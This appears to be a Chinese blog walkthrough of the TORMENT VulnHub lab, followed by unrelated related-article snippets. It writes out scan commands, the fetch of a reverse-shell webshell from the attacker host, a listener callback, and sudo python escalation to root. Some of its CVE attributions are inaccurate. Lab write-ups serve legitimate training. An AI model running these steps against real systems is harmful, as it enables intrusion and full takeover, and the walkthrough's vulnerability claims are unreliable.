当前位置: 首页 > news >正文

digitalworld.local: TORMENT - 实践

digitalworld.local: TORMENT - 实践

digitalworld.local: TORMENT

来自 <digitalworld.local: TORMENT ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.133

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.133

1. FTP 服务(21/tcp)

  • 服务信息:vsftpd 3.0.3(扫描中表现 “2.0.8 or later”,通过ftp-syst脚本确认实际版本为 3.0.3)
  • 核心特征
    • 允许匿名登录(FTP code 230),无需账号密码即可访问文件
    • 暴露大量体系相关文件(如dpkg.status.0、apt.extended_states.0),均为 Debian 系统的包管理(dpkg)、依赖管理(apt)配置备份
  • 安全风险
    • 匿名登录直接泄露系统配置细节,攻击者可通过分析备份文件获取架构组件版本、已安装软件等信息,为后续漏洞利用铺路
    • 若 FTP 服务允许写入(当前未显示,但需进一步验证),可能导致恶意文件上传

2. SSH 服务(22/tcp)

  • 服务信息:OpenSSH 7.4p1 Debian 10+deb9u4(对应 Debian 9 系统)
  • 核心特征
    • 支持 SSH 2.0 协议,暴露 3 类主机密钥(RSA 2048 位、ECDSA 256 位、ED25519 256 位),密钥强度符合基础安全要求
  • 安全风险
    • OpenSSH 7.4p1(2017 年发布)存在历史漏洞(如 CVE-2018-15473,用户名枚举漏洞),攻击者可通过工具批量验证用户名有效性
    • 若管理员使用弱密码(如 “123456”、“debian”),易遭受暴力破解攻击

3. SMTP 服务(25/tcp)

  • 服务信息:Postfix smtpd(邮件传输代理)
  • 核心特征
    • 支持 STARTTLS(加密传输),但ssl-date脚本提示 “TLS randomness does not represent time”,说明 TLS 随机数生成可能存在问题,加密安全性降低
    • 证书有效期为 2018-12-23 至 2028-12-20(长期有效,未定期轮换),且仅绑定主机名 “TORMENT”
  • 安全风险
    • 若未配置严格的发件验证(如 SPF、DKIM),可能被滥用为垃圾邮件转发服务器
    • TLS 随机数问题可能导致加密会话被破解,泄露邮件内容

4. HTTP 服务(80/tcp)

  • 服务信息:Apache httpd 2.4.25(Debian 默认配置)
  • 核心特征
    • 首页为 “Apache2 Debian Default Page”(默认页面未修改),未暴露自定义业务逻辑
    • 服务器版本明确(无版本隐藏),易被针对性查找漏洞
  • 安全风险
    • Apache 2.4.25(2017 年发布)存在多个历史漏洞(如 CVE-2017-7659,HTTP 请求走私漏洞;CVE-2021-41773,路径穿越漏洞),若未打补丁可能被远程利用
    • 默认页面可能泄露服务器类型,增加攻击者信息收集效率

5. NFS 服务(111/tcp、2049/tcp 及关联端口)

  • 服务信息:NFS 3-4 版本(网络文件系统),依赖rpcbind(111 端口)、mountd(46029/51045/57009 端口)、nlockmgr(38833 端口)
  • 核心特征
    • rpcinfo脚本展示 NFS 服务支持 TCP/UDP、IPv4/IPv6,且nfs_acl(访问控制列表)机制启用
  • 安全风险
    • 若 NFS 共享目录配置不当(如允许匿名挂载、权限为777),攻击者可挂载目标文件系统,读取 / 修改敏感数据
    • NFSv3 版本本身安全性较低(无加密传输),素材在局域网内可能被嗅探

6. Samba 服务(139/tcp、445/tcp)

  • 服务信息:Samba 4.5.12-Debian(Windows 文件共享协议)
  • 核心特征
    • 工作组为 “WORKGROUP”(默认调整),主机名 “TORMENT”
    • smb-security-mode脚本显示:消息签名未启用(dangerous, but default),smb2-security-mode显示 “消息签名启用但非强制”
  • 安全风险
    • 消息签名未强制启用,可能遭受 “中间人攻击”(MITM),篡改或窃取共享文件数据
    • Samba 4.5.12 存在历史漏洞(如 CVE-2017-7494,远程代码执行漏洞),若未打补丁可能被远程控制
    • 若存在可匿名访问的共享目录,可能泄露敏感文件

7. IMAP 服务(143/tcp)

  • 服务信息:Dovecot imapd(邮件接收协议服务)
  • 核心特征
    • 支持 PLAIN、LOGIN 认证,拥护 IDLE(长连接)、SASL-IR(认证扩展)等功能
  • 安全风险
    • 未启用 SSL/TLS(默认 143 端口为明文传输),账号密码在传输过程中可能被嗅探
    • 若邮箱账号使用弱密码,易被暴力破解

8. IPP 服务(631/tcp)

  • 服务信息:CUPS 2.2(通用 UNIX 打印系统)
  • 核心特征
    • 支持 PUT 方法(标记为 “Potentially risky”),http-robots.txt仅禁止访问根目录(/)
    • 首页为 CUPS 默认管理页面,未隐藏版本信息
  • 安全风险
    • PUT 方法可能允许攻击者上传恶意记录(如打印任务配置文件),若服务权限过高可能导致权限提升
    • CUPS 2.2 存在历史漏洞(如 CVE-2018-4700,远程代码执行漏洞),若未打补丁可能被利用

9. IRC 服务(6667/6668/6669/6672/6674/tcp)

  • 服务信息:ngircd(轻量级 IRC 服务器)
  • 核心特征
    • 开放 5 个标准 IRC 端口(6667 为默认端口,6668/6669 为备用,6672/6674 为非标准端口)
  • 安全风险
    • 若 IRC 服务配备不当(如允许匿名注册、未限制用户权限),可能被用作 “僵尸网络” 控制节点
    • ngircd 若为旧版本,可能存在缓冲区溢出等远程漏洞(需进一步确认版本)

4,根据扫描结果,先尝试匿名登录ftp服务器

登录成功,发现一堆压缩文件。下载所有文件到kali

prompt
mget *

权限不够无法下载group.bak、gshadow.bak、passwd.bak、shadow.bak

5,再访问80端口开放的http服务

是默认页面,再深度探测扫描一下子目录

gobuster dir -uhttp://192.168.23.133-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403

http://192.168.23.133/secret

是痛苦先于忍耐,还是忍耐先于痛苦?再子目录探测却一无所获

gobuster dir -uhttp://192.168.23.133/secret-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403

6,再枚举扫描smb服务信息enum4linux

7,再访问631端口服务

一、CUPS 概述

CUPS(Common Unix Printing System,通用 Unix 打印系统)是一个开源的打印系统,主要用于类 Unix 操作系统(如 Linux、macOS、BSD)。它由Apple Inc.维护和开发,采用Internet Printing Protocol (IPP)作为核心打印协议,同时兼容传统的打印协议(如 LPD、SMB、IPP over HTTP)。

CUPS 允许系统作为打印客户端打印服务器 打印任务管理系统,支持:

  • 多用户环境下的打印任务管理;
  • 打印任务队列(spooling)和调度;
  • 打印驱动与 PPD(PostScript Printer Description)管理;
  • 基于 Web 的远程管理界面。

二、CUPS 2.2.1 版本背景

  • 发布日期:2016年12月21日
  • 主要特性:这是 CUPS 2.2 系列的一个维护版本(第二个修订版)。相较于 2.2.0,2.2.1 主要是修复问题和小幅优化。
  • 适用平台:GNU/Linux 发行版、macOS,以及其它类 Unix 系统。

三、CUPS 2.2.1 的主要改进

相较于之前版本,CUPS 2.2.1 带来了以下更新:

  1. 修复若干安全与稳定性问题
    • 增强了 IPP 协议实现的健壮性,避免异常输入导致崩溃。
    • 改进了一些权限检查,减少非预期操作的可能性。
  2. 性能与兼容性优化
    • 改善了在高并发打印队列下的性能表现。
    • 优化了对部分厂商打印机驱动(PPD)的解析。
    • 提升了 IPP Everywhere 打印协议的兼容性。
  3. 错误修复
    • 解决了 2.2.0 版本中一些已知 bug,如 web 界面打印配备错误、日志记录异常等问题。
    • 修正了打印任务在某些网络环境下丢失的情况。

四、CUPS 2.2.1 的架构

CUPS 的核心组件在 2.2.1 中没有大变动,主要由以下部分构成:

  1. cupsd:CUPS 守护进程,负责接收和管理打印任务;
  2. 过滤器(filters):将不同的文件格式(PDF、PostScript、文本等)转换为打印机可识别的内容;
  3. 后端(backends):实现与打印机的实际通信(USB、IPP、LPD、SMB 等协议);
  4. PPD 资料:定义打印机功能和参数;
  5. Web 管理界面:默认监听 http://localhost:631,可进行打印机配置和任务管理。

五、安全注意事项

CUPS 作为网络服务运行时,尤其得注意安全配置。

在 CUPS 2.2.1 版本中,官方也特别强调了:

  • 默认仅本地可访问管理界面;
  • 需要在 /etc/cups/cupsd.conf 中手动安装远程访问;
  • 建议开启基于 TLS 的安全连接;
  • 在多用户环境中应严格控制管理员组(lpadmin)权限。

六、应用与影响

  • Linux 桌面发行版:多数桌面发行版(Ubuntu、Fedora、Debian 等)都内置 CUPS 作为默认打印服务;
  • macOS:CUPS 是 macOS 打印系统的核心;
  • 企业环境:常用于集中式打印服务器,统一管理多台打印机和大量用户的打印需求。

扫描识别网站指纹特征

whatwebhttp://192.168.23.133:631

枚举爆破网站子目录

gobuster dir -uhttp://192.168.23.133:631-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403

扫出来很多东西。再看看历史版本漏洞

没有对应合适的版本

8,还是回到ftp服务器

发现存在.ssh文件夹,怀疑ftp服务器共享的是某个用户家目录。

下载该私钥文件

暂时用不上,基于使用私钥必须密码

9,再看.ngircd目录下文件

一对登录账户密码就是怀疑

10,安装许可连接IRC服务的软件

export https_proxy="http://192.168.99.74:7897"

apt-get update

apt-get install pidgin

ngircd有配置文件,查看即可获取密码

cat /etc/ngircd/ngircd.conf

wealllikedebian

加入频道#tormentedprinter测试,发现可行,并且获取到一个密码mostmachineshaveasupersecurekeyandalongpassphrase

11,得到密钥密码后再尝试应用ssh密钥进行连接

ssh patrick@192.168.23.133 -i id_rsa

登录成功,信息收集一下

id

uname -a

lsb_release -a

ls /home

然后查看如何提权

sudo -l

/bin/systemctl poweroff, /bin/systemctl halt, /bin/systemctl reboot

这些已经暗示了提权与某些服务有关

find / -perm 777 -type f 2>/dev/null

发现apache服务的apache.conf对所有用户都具有读写权限。编辑apache.conf文件,添加内容内容使web服务属主变成qiu用户

nano /etc/apache2/apache2.conf

kali上用于反弹shell的木马注意要修改端口和IP地址

然后在网站根目录下载kali自带的反弹shell文件,然后再重启服务

cd /var/www/html/

wget http://192.168.23.128:8000/shell.php

sudo /bin/systemctl reboot

直接访问木马文件链接http://192.168.23.133/shell.php,然后kali开启对4444端口的监听,成功getshell

12,然后尝试python启动一个可交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

sudo -l

直接sudo启动一个shell即可

sudo python -c 'import pty;pty.spawn("/bin/bash")'

权限提升思路

  1. 常规枚举
    • 登录后查看用户、系统版本与 sudo 权限。
    • 发现 patrick 用户可执行部分 systemctl 命令(重启/关机相关),提示提权可能与服务或配置文件有关。
  2. 错误设置利用
    • 枚举过程中发现 Apache 配置文件对所有用户开放写权限(777)。
    • 这意味着攻击者可篡改配置文件并影响 Web 服务行为。
  3. Webshell 植入
    • 将反弹 shell 脚本放置于 Web 根目录,利用 Apache 服务加载执行,成功反弹一个更高权限的 shell。
  4. 稳定提权
    • 在目标机内借助 Python 伪终端增强交互性。
    • 再结合 sudo 配置,直接以 Python 方式执行 root 权限的交互式 shell。
    • 最终完全控制靶机。

关键战法总结

  1. 多服务并行信息收集
    • 靶机暴露大量服务,不应只盯一个口子,要借助横向关联找到利用链。
    • 本例中 FTP → IRC → SSH → Apache → Root,正是通过“串珠式”组合完毕突破。
  2. 凭证搜集与复用
    • FTP 匿名访问 → 获取 .ssh 文件
    • IRC 渠道 → 泄露口令
    • 两者结合,形成 SSH 登录突破口。
    • 这是典型的 “弱配置+凭证复用” 战术。
  3. 配置文件写权限利用
    • 异常的权限(777)往往意味着提权机会。
    • 修改 Apache 调整 → 触发服务重启 → 反弹 shell,属于利用“服务配置错误”提权的经典案例。
  4. 多阶段提权
    • 初始用户 → 配置文件写入 → Webshell → sudo 滥用 → Root。
    • 每一步都通过本地信息枚举找到下一跳,而非盲目尝试。
  5. 服务指纹与历史漏洞
    • 扫描阶段识别出大量已知漏洞(如 Samba、Apache、CUPS 等),虽然未直接利用,但援助确认了环境落后、存在安全管理缺陷的整体环境。
    • 在实战中,这种“多点可选”的环境为渗透者提供了灵活空间。

相关文章:

digitalworld.local: TORMENT - 实践

digitalworld.local: TORMENT - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important;…...

8.25-9.2周报六

1111...

Go by Example(3.Variables)

package mainimport "fmt"func main() {var a = "initial"fmt.Println(a)var b, c int = 1, 2fmt.Println(b, c)var d = truefmt.Println(d)var e intfmt.Println(e)f := "apple"fmt.Println(f) }运行结果: $ go run variables.go initial 1 2 …...

小程序分包方法

1、 图片上云 2、 删除不用的代码、函数和文件 3、 只有子包需要的接口移到子包中 4、 代码复用。效果不明显,实现两个页面复用一个大组件,可减少10kB大小 5、 还未实践见到效果的备选方案:把node_modules、uni_modules(在微信开发者工具的依赖分析看项目依赖这两个目录中的…...

9.3-9.10周报七

111111...

pyinstaller打包整个文件文件夹和相关exe,三方库

#打包目的:完全脱离环境,只copy hello.exe去其他机器就可以完美运行#打包命令: pyinstaller --onefile .\xxx\hello.py --hidden-import "tkinter" --hidden-import=glob --hidden-import=lxml --add-data ".\xxx\*;." --distpath output_dir --add-…...

学习心得

初次接触Hadoop时,我被其庞大的生态系统所震撼 学习过程中,我最大的感悟是理论与实践的结合至关重要。单纯阅读MapReduce的原理或HDFS的架构设计,总感觉隔着一层迷雾。直到亲手搭建环境、编写第一个WordCount程序,看到分布式计算如何将大任务拆解到多个节点并行处理,那种豁…...

Web前端入门第 87 问:JavaScript 中 setInterval 和 setTimeout 细节

setInterval 和 setTimeout 两者都是用于控制 JS 函数延迟执行,但是在执行机制和用途上还是有点儿差异。 虽然说两者功能上有区别,但在使用上却可以相互模拟各自的功能,大胆的猜测下:也许浏览器内核底层都是同一个方法,只是上层封装出的两个语法糖而已。 语法 两者在语法上…...

基于Python+Vue开发的农产品商城管理系统源码+运行

项目简介该项目是基于Python+Vue开发的农产品商城管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Python编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Python的农产品商城管理系统项目,大学生可以在实践中学…...

多人多次并发

在测试行业一年多,接触到多人多次并发首先创建线程组在JMeter中添加线程组,设置线程数、Ramp-Up时间和循环次数,然后添加HTTP请求:配置目标服务器的IP、端口和路径,模拟用户的具体操作。通过CSV Data Set Config加载用户数据,实现动态参数化。 查看结果树收集测试数据。合…...

B. Alternating Current

https://codeforces.com/problemset/problem/343/B 题意:给定两根线,告诉你每个节点的两根线的上下位置,问两根线能否无损解开 思路:如果连续的一段一个都在另一个上面或者下面,那么这一段就可以回到他本身的位置。根据这个思路,可以将问题转化为消消乐问题,只要有连续的…...

虚拟电厂运行机制

虚拟电厂(VPP)对电力资源的调节是其最核心、最精妙的功能。它本质上扮演着一个“全能电力调度员”的角色,但其调度对象不再是几个大电厂,而是成千上万个分散的、类型各异的分布式资源。 1. 察:全面感知与实时监测 这是调节的基础。虚拟电厂通过安装在各类终端资源上的智能…...

创建我第一个带记忆能力的langchain机器人

以下内容由AI对话生成带记忆的聊天机器人实现 下面是完整的代码实现,包含详细注释: # chatbot_with_memory.py import os from langchain_openai import ChatOpenAI from langchain.memory import ConversationBufferMemory from langchain.chains import ConversationChain …...

Reinforcing Image Generation with Collaborative Semantic-level and Token-level CoT - jack

https://arxiv.org/pdf/2505.00703 https://github.com/CaraJ7/T2I-R1...

GitHub超 30000+ star , 超强大的开源项目Supervision

Roboflow 的 Supervision 项目已于近期突破 30,000 个 GitHub Stars,是视觉工程师常用的辅助库,让你告别重复造轮子。 Supervision 是 Roboflow 出品、基于 MIT 协议的开源库,用于解决视觉项目中常见的可视化、跟踪、计数、格式转换等需求。可与 YOLO、Detectron2、Transfor…...

深入解析:【JavaEE】网络原理初识

深入解析:【JavaEE】网络原理初识pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; f…...

Office文档投毒技术:SHVE中的会话劫持视觉利用新突破

本文深入解析SHVE工具如何通过Office文档投毒技术,利用XSS漏洞和用户对可信网站的信任,在文档下载过程中自动注入恶意宏,实现隐蔽的攻击载荷交付,揭示了现代网络攻击中技术利用与心理信任结合的新型威胁模式。Office文档投毒在SHVE中的应用 大家好!我们带来了会话劫持视觉…...

爬虫逆向--Day22Day23--核心实战案例【荔枝网】【WASM学习】

案例地址链接:https://gdtv.cn/channels/2 案例爬取链接:https://gdtv-api.gdtv.cn/api/channel/v1/news?beginScore=0&channelId=246&pageSize=11 一、入口定位 首先当我们拿到网站,并且找到我们需要爬取的目标url以后,我们首先复制url到【https://curlconverter…...

简洁美观!一款值得 Star 的 Java 博客项目!

OneBlog —— 一个简洁美观、功能强大并且自适应的 Java 博客。基于 SpringBoot + Bootstrap 开发,支持移动端自适应,配有完备的前台和后台管理功能。大家好,我是 Java陈序员。 今天,给大家介绍一个简洁美观的开源 Java 博客系统。关注微信公众号:【Java陈序员】,获取开源…...

数据结构与算法-33.图-加权有向图最短路径

一、加权有向图 1、加权有向图 边的表示 代码实现 2、加权有向图的实现 二、最短路径 1、定义及性质 2、API设计 3、松弛技术4、Dijkstra算法实现 测试以上仅供参考,如有疑问,留言联系...

白子的情人节礼物

新题崭新出炉题面背景 我永远喜欢砂狼白子! ----MyShiroko 白子最近有点烦恼,因为她敏锐的嗅觉闻到了星野前辈身上有老师的味道。(详见《一日一星野》) 在多次询问星野无果的情况下,她打算直接去夏莱找老师问个清楚。 不过最近情人节快到了,白子决定拿着一些礼物,所以她…...

白子的情人节礼物 题解

咕咕点击查看代码 #include<bits/stdc++.h> #define int long long #define Blue_Archive return 0 #define con putchar( ) #define ent putchar(\n) using namespace std; constexpr int N = 5e5 + 7; constexpr int M = 8e5 + 7; constexpr int INF = 1e18;int n; in…...

Ubuntu上进行Zookeeper集群部署

Ubuntu系统上Zookeeper集群部署安装目录1.zookeeper下载2.zookeeper安装与使用3.zookeeper启动4.zookeeper是什么?为什么要用它?为什么不用Hbase自带的? 1.zookeeper下载 版本无特别要求,一般最新稳定版即可。 这里给出3.8.4的下载链接。(点击即可直接下载) zookeeper官网…...

The Landscape of Agentic Reinforcement Learning综述 - jack

The Landscape of Agentic Reinforcement__Learning for LLMs.pdf https://medium.com/data-science-in-your-pocket/the-landscape-of-agentic-reinforcement-learning-for-llms-a-survey-ed96182d3ed1...

A Survey of Reinforcement Learning for Large Reasoning Models - jack

https://arxiv.org/abs/2509.08827 https://huggingface.co/papers/2509.08827...

r-nacos支持mcp,内置mcp server支持让注册到r-nacos的普通http接口通过r-nacos直接转化成mcp服务对外提供服务。

r-nacos支持mcp,内置mcp server与接口转发;支持让注册到r-nacos的普通http接口通过r-nacos直接转化成mcp服务对外提供服务。r-nacos支持mcp,内置mcp server与接口转发;支持让注册到r-nacos的普通http接口通过r-nacos直接转化成mcp服务对外提供服务。 适用场景 如果你有一个…...

MacOS下微信小程序抓包教程

前言 换mac了,折腾一天抓包,终于成功抓上了。 BurpSuite下载: https://www.52pojie.cn/thread-2005151-1-1.html proifier下载:https://www.proxifier.com/ proifier注册机:https://github.com/y9nhjy/Proxifier-Keygen 一、安装proifier 先正常安装proifier本体,打开注册…...

nvm – nodejs版本管理工具

下载 Releases coreybutler/nvm-windows nvm-setup.exe nvm list available #查看可安装版本 如果报错Could not retrieve https://nodejs.org/dist/index.json: Get "https://nodejs.org/dist/index.json": dial tcp xxx.2x.xx.xxx:xxx: i/o timeoutnvm proxy http…...

财务系统里面,怎么合并使用两个经费本号

财务系统里面,怎么合并使用两个经费本号 把一个经费本号填好之后,正常填写,到提交的那个界面,不要提交。 一直点击 上一步, 到可以填写经费本号的那个界面。再填写第二个经费本号。点击下一步,再填写。最后提交即可。...

【火电机组、风能、储能】高比例风电电力系统储能运行及配置分析(Matlab代码实现) - 详解

【火电机组、风能、储能】高比例风电电力系统储能运行及配置分析(Matlab代码实现) - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&qu…...

新范式-LLaDA-VLA 基于扩散模型 VLA模型 - jack

https://mp.weixin.qq.com/s/fwOGuKy2Wtz_xXx3nCT28w 论文题目:LLaDA-VLA: Vision Language Diffusion Action Models 论文链接:https://arxiv.org/abs/2509.06932 项目主页:https://wenyuqing.github.io/llada-vla/ 论文时间:Sep, 8, 2025 作者单位:中科大,南京大学,原…...

Redis是如何进行内存管理的?缓存中有哪些常见问题?如何实现分布式锁?

Redis内存管理 Redis的内存用完了会怎样? 如果达到设置的上限,Redis的写命令会返回错误信息(但是读命令还可以正常返回)。 也可以配置内存淘汰机制,当Redis达到内存上限时会冲刷掉旧的内容。 Redis如何做内存优化? 可以好好利用Hash,list,sorted set,set等集合类型数据,…...

5 遥感与机器学习第三方库安装 - 详解

5 遥感与机器学习第三方库安装 - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important…...

移远OPENCPU笔记

OPENCPU 支持的操作系统:Linux、ThreadX 芯片平台:国产ASRqq:505645074...

2025.9.16——1绿

普及+/提高 P3155 [CQOI2009] 叶子的染色 昨天用贪心写只拿了部分分,wpmx告诉我要用DP,但当时因为要赶作业没时间写。 今天补上了。...

Unity游戏开发:互动小游戏的技术实现与运营盈利之道

在数字化娱乐飞速发展的当下,互动小游戏凭借其独特的趣味性与强交互性,深受广大用户喜爱。从热闹非凡的线下活动,到流量庞大的线上平台,互动小游戏都展现出了强大的影响力与商业价值。在众多游戏开发引擎中,Unity以其卓越的性能和广泛的适用性,成为了互动小游戏开发的首选…...

如何实现主线程捕获子线程异常

一、基础概念...

LGP5688 [CSP-S-JX 2019] 散步 学习笔记

LGP5688 [CSP-S-JX 2019] 散步 学习笔记 Luogu Link 前言 一题多解这一块。 题意简述 \(n\) 个人在公园内散步。公园可以看作一个环形,上有 \(m\) 个出口,按逆时针顺序记作 \(1\) 号口到 \(m\) 号口。 环总长 \(V\) 米。记 \(a_i\) 为 \(i\) 号出口从 \(1\) 号口按逆时针走到…...

少儿练字控笔字帖

握笔和控笔是写好字的基础 准备了一些基本的控笔练习字帖少儿练字控笔字帖下载...

架构师必备:缓存更新模式总结

大家好,我是Java烘焙师。如何更新缓存和DB、做到性能和一致性的取舍,是一个很常见的话题。下面结合笔者的经验和思考,系统性地总结一下缓存更新模式,讲透讲明白。 1、旁路缓存(cache-aside) 实现方案查询:先查缓存,查不到缓存时再查DB,并把DB内容写入缓存、设置合适的…...

为什么不能在try-catch中捕获子线程的异常 ?

一、基础概念...

sensitive-word 敏感词性能提升14倍优化全过程 v0.28.0 - 实践

sensitive-word 敏感词性能提升14倍优化全过程 v0.28.0 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New"…...

2025 PHP 开发者必看得 25 个容易犯的常见错误 90% 的开发者都踩过

2025 PHP 开发者必看得 25 个容易犯的常见错误 90% 的开发者都踩过 前言 PHP 发展到今天,新特性层出不穷,最佳实践也在不断更新。写出干净、高效、好维护的代码,对每个 PHP 开发者来说都很重要。 这篇文章总结了 PHP 开发中最容易踩的坑,以及对应的解决方案。 不管你是刚入…...

一款带有AI功能的markdown工具

大家好,我是晓凡。 写在前面 关注晓凡的同学都知道,晓凡是一名程序员。 平常有空的时候会写写博客,将一些技术干货或者踩过的坑分享给大家。 和我一样写技术博客的小伙伴都知道,平常素材来源太杂:脑子里突然而来的灵感 群里的一张梗图 随手的一张截图 读书看到的一段文字 …...

45万亿!中国智驾的新风口来了

微信视频号:sph0RgSyDYV47z6快手号:4874645212抖音号:dy0so323fq2w小红书号:95619019828B站1:UID:3546863642871878B站2:UID: 3546955410049087 添加图片注释,不超过 140 字(可选)2025年L4智驾场景化应用加速发展,亿欧汽车研究院认为2035年中国L4级别及以上智能驾驶…...

apache poi 导出繁琐的excel表格

apache poi 导出繁琐的excel表格pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; fon…...

Ubuntu Server SSH 连接

使用 SSH 连接(最推荐的方式) 这是最专业、最稳定的方式,特别适合服务器环境:一、在 Ubuntu Server 中确保 SSH 服务已安装并运行: sudo apt update sudo apt install -y openssh-server sudo systemctl enable ssh sudo systemctl start ssh 二、获取虚拟机的 IP 地址: …...

利用竞态条件轻松上传Web Shell

本文详细介绍了如何通过竞态条件漏洞上传PHP Web Shell,使用普通Burp Intruder工具而非Turbo Intruder,包含完整的攻击步骤、PHP代码分析和实战配置,适合初学者理解文件上传漏洞的利用方式。通过竞态条件上传Web Shell(简易方法) 方法特点 本攻击使用普通Burp Intruder而非…...

我亲眼目睹我上海的家长朋友陷进去了

微信视频号:sph0RgSyDYV47z6快手号:4874645212抖音号:dy0so323fq2w小红书号:95619019828B站1:UID:3546863642871878B站2:UID: 354695541004908701我发现在网上很多人都在说不要内卷了,不要卷了,因为我们快被自己人卷死了。我这人天生迟钝,后知后觉的,所以总是赶不上时…...

蔚小理的辅助驾驶,谁最拉跨?

微信视频号:sph0RgSyDYV47z6快手号:4874645212抖音号:dy0so323fq2w小红书号:95619019828B站1:UID:3546863642871878B站2:UID: 3546955410049087汽车诞生以来,从来没试过像现在这样,一台车可以在买回来之后,不花一分钱,表现就能获得提升。而且还不只是那些贵的车型,就…...